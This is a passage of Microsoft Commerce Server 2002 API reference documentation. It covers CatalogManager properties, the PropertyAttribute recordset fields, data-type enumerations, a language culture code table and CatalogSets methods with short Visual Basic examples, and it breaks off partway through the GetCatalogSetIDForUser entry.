The recordset will contain a column named DisplayName which will contain the display names of the catalogs in the language specified by strLanguage parameter. If a catalog does not have a displayname in this language then NULL will be returned for that catalog

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog

[C++] ICatalogManager3::DeleteCatalog

[Visual Basic] CatalogManager.DeleteCatalog


ICatalogManager3::get_CategoryDefinitions Property [C++]

CatalogManager.CategoryDefinitions Property [Visual Basic]

The CategoryDefinitions property is a read-only recordset that contains the names of all the category definitions in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::get_CategoryDefinitions(
  _Recordset** CategoryDefinitions
);
[Visual Basic]
Property CategoryDefinitions() As _Recordset

Parameters

CategoryDefinitions [C++]
[out, retval] A pointer to a _Recordset object used to return category definitions.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid

Remarks

[C++] The CategoryDefinitions parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The recordset returned by this property is valid only if it is accessed successfully.

The returned recordset will contain a single field called DefinitionName and one row for each category definition in the Product Catalog System. This field is a 128 character String.

If no category definitions are currently in the Product Catalog System, then the EOF property of the returned recordset will be set to VARIANT_TRUE.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCategoryDefinition

[Visual Basic] CatalogManager.CreateCategoryDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::get_CustomCatalogs Property [C++]

CatalogManager.CustomCatalogs Property [Visual Basic]

The CustomCatalogs property is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::get_ProductDefinitions Property [C++]

CatalogManager.ProductDefinitions Property [Visual Basic]

The ProductDefinitions property is a read-only Recordset object that contains the names of all the product definitions in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::get_ProductDefinitions(
  _Recordset** ProductDefinitions
);
[Visual Basic]
Property ProductDefinitions() As _Recordset

Parameters

ProductDefinitions [C++]
[out, retval] A pointer to a _Recordset object used to return the product definitions.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ProductDefinitions parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The Recordset object contains valid data only if the property was accessed successfully.

The returned recordset will contain a single field called DefinitionName and one row for each product definition in the Product Catalog System. This field is a 128 character String.

If no product definitions are currently in the Product Catalog System, then the EOF property of the returned recordset will be set to VARIANT_TRUE.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProductDefinition

[Visual Basic] CatalogManager.CreateProductDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::get_Properties Property [C++]

CatalogManager.Properties Property [Visual Basic]

The Properties property is a read-only recordset that returns the name of each property that currently exists in the Product Catalog System. If the catalog name is specified, only properties used in that catalog are returned.

Definition

[C++]
HRESULT ICatalogManager3::Properties(
  VARIANT strCatalogName,
  _Recordset** ppRSProperties
);
[Visual Basic]
Function Properties(
  Optional strCatalogName As Variant
) As _Recordset

Parameters

strCatalogName [C++]
[in, optional] A VARIANT that contains the name of the catalog for which the properties are returned. If this optional parameter is omitted, all properties are returned.
strCatalogName [Visual Basic]
A Variant that contains the name of the catalog for which the properties are returned. If this optional parameter is omitted, all properties are returned.
ppRSProperties [C++]
[out] A pointer to a _Recordset object used to return the properties.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid

Remarks

[C++] The Properties parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The Recordset object contains valid data only if the property was accessed successfully.

[C++] This method returns a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic] This method returns a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsProps = myCatalogManager.Properties ("ShoesCatalog")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty

[C++] ICatalogManager3::DeleteProperty

[Visual Basic] CatalogManager.DeleteProperty


PropertyAttribute Recordset [C++]

PropertyAttribute Recordset [Visual Basic]

The PropertyAttribute recordset reflects the default property definitions found in the CatalogAttributes table.

The following table shows the fields in the PropertyAttribute recordset.

Field name | Data type | Description
PropertyName | String | Indicates the unique identifying name of the property.
DataType | Small integer | Indicates the DataType of the property. Legal values and their meanings are those of the CatalogDataTypeEnum enumeration. See the following table.
u_DefaultValue | String | Indicates the default value for properties of String DataType.
u_DefaultValue_<lang> | String | Indicates the default value for properties of String DataType in a specific language. For example, DisplayName_EN-US is the display name for United States English. There will be one attribute in this form for each language in the Product Catalog schema.
i_DefaultValue | Integer | Indicates the default value for properties of Integer DataType.
dt_DefaultValue | datetime | Indicates the default value for properties of datetime DataType.
cy_DefaultValue | money | Indicates the default value for properties of money DataType.
f_DefaultValue | bit | Indicates the default value for properties of bit DataType.
fp_DefaultValue | float | Indicates the default value for properties of float DataType.
i_MinValue | Integer | Indicates the minimum value for properties of Integer DataType.
i_MaxValue | Integer | Indicates the maximum value for properties of Integer DataType.
dt_MinValue | datetime | Indicates the minimum value for properties of datetime DataType.
dt_MaxValue | datetime | Indicates the maximum value for properties of datetime DataType.
fp_MinValue | float | Indicates the minimum value for properties of float DataType.
fp_MaxValue | float | Indicates the maximum value for properties of float DataType.
IsFreeTextSearchable | bit | Indicates whether this property should be included in the full-text index, and therefore, be free text searchable. The values are 0 for False; 1 for True.
IncludeInSpecSearch | bit | Indicates whether this category is to be used for specification searches. True indicates this category will be included in the record set returned by calls to the ProductCatalog.GetSearchableCategories object. The values are 0 for False; 1 for True.
MinLength | Integer | Indicates the minimum length for properties of String DataType.
MaxLength | Integer | Indicates the maximum length for properties of String DataType.
cy_MinValue | money | Indicates the minimum value for properties of money DataType.
cy_MaxValue | money | Indicates the maximum value for properties of money DataType.
TimeStamp | timestamp | Not used.
DisplayOnSite | bit | Indicates whether this property should be shown to users visiting the Web site. The values are 0 for False; 1 for True.
DisplayName | String | Not used. See DisplayName_<lang> in this table
DisplayName_<lang> | String | Indicates the display name for the property in a specific language. For example, DisplayName_EN-US is the display name for United States English. There will be one attribute in this form for each language in the Product Catalog System.
AssignAll | bit | Indicates whether this property should automatically be assigned to product definitions as they are created through Commerce Server Business Desk. The values are 0 for False; 1 for True.
ExportToDW | bit | Indicates whether this property should be should be included in data exported to the Data Warehouse. The values are 0 for False; 1 for True.
DisplayInProductsList | bit | Indicates whether this property is to be displayed in summary lists of products in the Business Desk Catalog Editor, or in other areas where product lists are displayed. The values are 0 for False; 1 for True.
IsRequired | bit | Indicates whether a value is required for this property. The values are 0 for False; 1 for True.
LanguageSensitive | bit | Indicates whether this property is language sensitive. This attribute is only valid when the DataType attribute is cscString, cscText, cscFilename, or cscEnumeration. The values are 0 for False; 1 for True.
Currency | nvarchar(10) | Indicates the currency of the property as a three letter ISO 4217 currency code. For example "USD", "AUD", "CDN", "GBP", "DEM", "JPY". This attribute is only valid when the DataType attribute is cscCurrency (SQL data type money). The value is NULL for all other data types.

The following table shows the values of the CatalogDataTypeEnum enumeration, their associated names, and describes their use in the DataType attribute.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::GetAttributes

[Visual Basic] CatalogManager.GetAttributes

[C++] ICatalogManager3::GetPropertyAttributes

[Visual Basic] CatalogManager.GetPropertyAttributes

[C++] ICatalogManager3::get_Properties

[Visual Basic] CatalogManager.Properties


Table of Language Culture Names, Codes, and ISO Values [C++]

Table of Language Culture Names, Codes, and ISO Values [Visual Basic]

The following table contains values for Language Culture Names, Display Names, Culture Codes, and ISO 639x Values that are used by Commerce Server.

Language Culture Name | Display Name | Culture Code | ISO 639x Value
af-ZA | Afrikaans - South Africa | 0x0436 | AFK
sq-AL | Albanian - Albania | 0x041C | SQI
ar-DZ | Arabic - Algeria | 0x1401 | ARG
ar-BH | Arabic - Bahrain | 0x3C01 | ARH
ar-EG | Arabic - Egypt | 0x0C01 | ARE
ar-IQ | Arabic - Iraq | 0x0801 | ARI
ar-JO | Arabic - Jordan | 0x2C01 | ARJ
ar-KW | Arabic - Kuwait | 0x3401 | ARK
ar-LB | Arabic - Lebanon | 0x3001 | ARB
ar-LY | Arabic - Libya | 0x1001 | ARL
ar-MA | Arabic - Morocco | 0x1801 | ARM
ar-OM | Arabic - Oman | 0x2001 | ARO
ar-QA | Arabic - Qatar | 0x4001 | ARQ
ar-SA | Arabic - Saudi Arabia | 0x0401 | ARA
ar-SY | Arabic - Syria | 0x2801 | ARS
ar-TN | Arabic - Tunisia | 0x1C01 | ART
ar-AE | Arabic - United Arab Emirates | 0x3801 | ARU
ar-YE | Arabic - Yemen | 0x2401 | ARY
hy-AM | Armenian - Armenia | 0x042B |
Cy-az-AZ | Azeri (Cyrillic) - Azerbaijan | 0x082C |
Lt-az-AZ | Azeri (Latin) - Azerbaijan | 0x042C |
eu-ES | Basque - Basque | 0x042D | EUQ
be-BY | Belarusian - Belarus | 0x0423 | BEL
bg-BG | Bulgarian - Bulgaria | 0x0402 | BGR
ca-ES | Catalan - Catalan | 0x0403 | CAT
zh-CN | Chinese - China | 0x0804 | CHS
zh-HK | Chinese - Hong Kong SAR | 0x0C04 | ZHH
zh-MO | Chinese - Macau SAR | 0x1404 |
zh-SG | Chinese - Singapore | 0x1004 | ZHI
zh-TW | Chinese - Taiwan | 0x0404 | CHT
zh-CHS | Chinese (Simplified) | 0x0004 |
zh-CHT | Chinese (Traditional) | 0x7C04 |
hr-HR | Croatian - Croatia | 0x041A | HRV
cs-CZ | Czech - Czech Republic | 0x0405 | CSY
da-DK | Danish - Denmark | 0x0406 | DAN
div-MV | Dhivehi - Maldives | 0x0465 |
nl-BE | Dutch - Belgium | 0x0813 | NLB
nl-NL | Dutch - The Netherlands | 0x0413 |
en-AU | English - Australia | 0x0C09 | ENA
en-BZ | English - Belize | 0x2809 | ENL
en-CA | English - Canada | 0x1009 | ENC
en-CB | English - Caribbean | 0x2409 |
en-IE | English - Ireland | 0x1809 | ENI
en-JM | English - Jamaica | 0x2009 | ENJ
en-NZ | English - New Zealand | 0x1409 | ENZ
en-PH | English - Philippines | 0x3409 |
en-ZA | English - South Africa | 0x1C09 | ENS
en-TT | English - Trinidad and Tobago | 0x2C09 | ENT
en-GB | English - United Kingdom | 0x0809 | ENG
en-US | English - United States | 0x0409 | ENU
en-ZW | English - Zimbabwe | 0x3009 |
et-EE | Estonian - Estonia | 0x0425 | ETI
fo-FO | Faroese - Faroe Islands | 0x0438 | FOS
fa-IR | Farsi - Iran | 0x0429 | FAR
fi-FI | Finnish - Finland | 0x040B | FIN
fr-BE | French - Belgium | 0x080C | FRB
fr-CA | French - Canada | 0x0C0C | FRC
fr-FR | French - France | 0x040C |
fr-LU | French - Luxembourg | 0x140C | FRL
fr-MC | French - Monaco | 0x180C |
fr-CH | French - Switzerland | 0x100C | FRS
gl-ES | Galician - Galician | 0x0456 |
ka-GE | Georgian - Georgia | 0x0437 |
de-AT | German - Austria | 0x0C07 | DEA
de-DE | German - Germany | 0x0407 |
de-LI | German - Liechtenstein | 0x1407 | DEC
de-LU | German - Luxembourg | 0x1007 | DEL
de-CH | German - Switzerland | 0x0807 | DES
el-GR | Greek - Greece | 0x0408 | ELL
gu-IN | Gujarati - India | 0x0447 |
he-IL | Hebrew - Israel | 0x040D | HEB
hi-IN | Hindi - India | 0x0439 | HIN
hu-HU | Hungarian - Hungary | 0x040E | HUN
is-IS | Icelandic - Iceland | 0x040F | ISL
id-ID | Indonesian - Indonesia | 0x0421 |
it-IT | Italian - Italy | 0x0410 |
it-CH | Italian - Switzerland | 0x0810 | ITS
ja-JP | Japanese - Japan | 0x0411 | JPN
kn-IN | Kannada - India | 0x044B |
kk-KZ | Kazakh - Kazakhstan | 0x043F |
kok-IN | Konkani - India | 0x0457 |
ko-KR | Korean - Korea | 0x0412 | KOR
ky-KZ | Kyrgyz - Kazakhstan | 0x0440 |
lv-LV | Latvian - Latvia | 0x0426 | LVI
lt-LT | Lithuanian - Lithuania | 0x0427 | LTH
mk-MK | Macedonian - FYROM | 0x042F | MKD
ms-BN | Malay - Brunei | 0x083E |
ms-MY | Malay - Malaysia | 0x043E |
mr-IN | Marathi - India | 0x044E |
mn-MN | Mongolian - Mongolia | 0x0450 |
nb-NO | Norwegian (Bokmål) - Norway | 0x0414 |
nn-NO | Norwegian (Nynorsk) - Norway | 0x0814 |
pl-PL | Polish - Poland | 0x0415 | PLK
pt-BR | Portuguese - Brazil | 0x0416 | PTB
pt-PT | Portuguese - Portugal | 0x0816 |
pa-IN | Punjabi - India | 0x0446 |
ro-RO | Romanian - Romania | 0x0418 | ROM
ru-RU | Russian - Russia | 0x0419 | RUS
sa-IN | Sanskrit - India | 0x044F |
Cy-sr-SP | Serbian (Cyrillic) - Serbia | 0x0C1A |
Lt-sr-SP | Serbian (Latin) - Serbia | 0x081A |
sk-SK | Slovak - Slovakia | 0x041B | SKY
sl-SI | Slovenian - Slovenia | 0x0424 | SLV
es-AR | Spanish - Argentina | 0x2C0A | ESS
es-BO | Spanish - Bolivia | 0x400A | ESB
es-CL | Spanish - Chile | 0x340A | ESL
es-CO | Spanish - Colombia | 0x240A | ESO
es-CR | Spanish - Costa Rica | 0x140A | ESC
es-DO | Spanish - Dominican Republic | 0x1C0A | ESD
es-EC | Spanish - Ecuador | 0x300A | ESF
es-SV | Spanish - El Salvador | 0x440A | ESE
es-GT | Spanish - Guatemala | 0x100A | ESG
es-HN | Spanish - Honduras | 0x480A | ESH
es-MX | Spanish - Mexico | 0x080A | ESM
es-NI | Spanish - Nicaragua | 0x4C0A | ESI
es-PA | Spanish - Panama | 0x180A | ESA
es-PY | Spanish - Paraguay | 0x3C0A | ESZ
es-PE | Spanish - Peru | 0x280A | ESR
es-PR | Spanish - Puerto Rico | 0x500A | ES
es-ES | Spanish - Spain | 0x0C0A |
es-UY | Spanish - Uruguay | 0x380A | ESY
es-VE | Spanish - Venezuela | 0x200A | ESV
sw-KE | Swahili - Kenya | 0x0441 |
sv-FI | Swedish - Finland | 0x081D | SVF
sv-SE | Swedish - Sweden | 0x041D |
syr-SY | Syriac - Syria | 0x045A |
ta-IN | Tamil - India | 0x0449 |
tt-RU | Tatar - Russia | 0x0444 |
te-IN | Telugu - India | 0x044A |
th-TH | Thai - Thailand | 0x041E | THA
tr-TR | Turkish - Turkey | 0x041F | TRK
uk-UA | Ukrainian - Ukraine | 0x0422 | UKR
ur-PK | Urdu - Pakistan | 0x0420 | URD
Cy-uz-UZ | Uzbek (Cyrillic) - Uzbekistan | 0x0843 |
Lt-uz-UZ | Uzbek (Latin) - Uzbekistan | 0x0443 |
vi-VN | Vietnamese - Vietnam | 0x042A | VIT


CatalogSets Object [C++]

CatalogSets Object [Visual Basic]

Use this object to work with catalog sets in the Product Catalog System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

ProgID: | Commerce.CatalogSets (Externally creatable)
COM Class Name: | CatalogSets
Type Library Name: | Microsoft Commerce 2002 Catalog Sets Type Library
DLL Name: | CatalogSets.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _CatalogSets
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _CatalogSets interface to access the properties and methods of the CatalogSets object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


_CatalogSets Methods [C++]

CatalogSets Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


_CatalogSets::CreateCatalogSet Method [C++]

CatalogSets.CreateCatalogSet Method [Visual Basic]

Use this method to create a new catalog set in the catalog database.

Definition

[C++]
HRESULT _CatalogSets::CreateCatalogSet(
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS,
  BSTR* CatalogSetID
);
[Visual Basic]
Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String

Parameters

CatalogSetName [C++]
[in] A BSTR that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetName [Visual Basic]
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription [C++]
[in] A BSTR that contains a description of the new catalog set.
CatalogSetDescription [Visual Basic]
A String that contains a description of the new catalog set.
bWildCard [C++]
[in] A VARIANT_BOOL that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
bWildCard [Visual Basic]
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS [C++]
[in, optional] A pointer to an ActiveX Data Objects (ADO) _Recordset object that specifies the catalogs to be included in the new catalog set. The _Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
CatalogNamesRS [Visual Basic]
A reference to an ADO Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
CatalogSetID [C++]
[out, retval] A pointer to a BSTR used to return the automatically generated ID (GUID) of the new catalog set.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The CatalogSetID parameter contains valid data only if the new catalog set was created successfully.

[Visual Basic] The returned String contains a valid ID only if the new catalog set was created successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example shows the creation of a catalog set
'associated with all the catalogs in the catalog management system.
strCatalogSetID = myCatalogSets.CreateCatalogSet("PremiumCatalogs", "Premium catalog set", TRUE)

'The following example shows the creation of a catalog set
'associated with two specific catalogs.
set rsCatalogNames = CreateObject("ADODB Recordset")
call rsCatalogNames.Fields.Append("CatalogName", adBSTR)
rsCatalogNames.Open
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog1"
rsCatalogNames.Update
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog2"
rsCatalogNames.Update

strCatalogSetID = myCatalogSets.CreateCatalogSet("CombinedCatalog", "A one and a two", FALSE, rsCatalogNames)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::DeleteCatalogSet Method [C++]

CatalogSets.DeleteCatalogSet Method [Visual Basic]

Use this method to delete an existing catalog set from the Catalog database.

Definition

[C++]
HRESULT _CatalogSets::DeleteCatalogSet(
  BSTR CatalogSetID
);
[Visual Basic]
Sub DeleteCatalogSet(
  CatalogSetID As String
)

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the GUID of the catalog set to be deleted.
CatalogSetID [Visual Basic]
A String that contains the ID of the catalog set to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID will prevent access to the solution sites.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID1 is a GUID
myCatalogSets.DeleteCatalogSet strCatalogSetID1

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogs Method [C++]

CatalogSets.GetCatalogs Method [Visual Basic]

Use this method to return a list of all catalogs.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogs(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogs() As Recordset

Parameters

retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalogs

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogs = myCatalogSets.GetCatalogs()

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogSetIDForUser Method [C++]

CatalogSets.GetCatalogSetIDForUser Method [Visual Basic]

Use this method to return the catalog set ID for a specific user.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogSetIDForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  VARIANT* retVal
);
[Visual Basic]
Function GetCatalogSetIDForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Variant

Parameters

objProfileService [C++]
[in] A pointer to the IDispatch interface to the ProfileService object.
objProfileService [Visual Basic]
A ProfileService object.
user_id [C++]
[in] A BSTR that contains the user ID.
user_id [Visual Basic]
A String that contains the user ID.
defaultCatalogSetID [C++]
[in] A BSTR that contains the default catalog set ID.
defaultCatalogSetID [Visual Basic]
A String that contains the default catalog set ID.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

